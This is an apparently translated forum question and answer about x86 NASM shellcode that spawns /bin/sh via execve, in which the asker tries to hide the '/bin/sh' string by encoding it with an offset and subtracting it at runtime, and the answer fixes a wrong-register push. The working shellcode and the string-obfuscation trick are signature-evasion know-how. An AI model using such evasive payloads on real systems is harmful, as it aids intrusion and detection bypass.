#linux #assembly #x86 #nasm
#linux #сборка #x86 #nasm
Вопрос:
У меня есть этот рабочий шелл-код, который порождает оболочку, я должен изменить его так, чтобы скрыть «/ bin / sh» или «sh», появляющиеся в любом месте двоичного файла после компиляции. Поэтому я подумал о том, чтобы взять шестнадцатеричное значение /bin/sh(2f 62 69 6e 2f 73 68), добавив к нему некоторое случайное значение, скажем, 0x11111, и переместить это значение в регистр, вычесть 0x11111 во время выполнения, а затем поместить это значение, сгенерированное во время выполнения (которое становится /bin/sh), встек и выполнение execv, но я получаю ошибку сегментации на самом 1-м шаге. и я не могу понять, почему?
Приведенный ниже код работает нормально.
section .data
section .text
global _start
_start:
xor eax,eax
cdq
push eax
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80
Но это изменение вызывает ошибку сегментации
section .data
section .text
global _start
_start:
xor eax,eax
cdq
push eax
mov ecx,0x11111
mov ebx,0x68744040
sub ebx,ecx
push long eax
push long 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80
Пожалуйста, помогите мне в этом. Будет здорово. Спасибо
Ответ №1:
Код отличается, не так ли? Посмотрите здесь:
sub ebx,ecx
push long eax
Вы вычисляете ebx-ecx
, но нажимаете eax
. И eax
равно нулю.
Это должно быть:
sub ebx,ecx
push long ebx
Комментарии:
1. Спасибо, Эл Кепп. Я думал, что результат всегда поступает в eax, поскольку это аккумулятор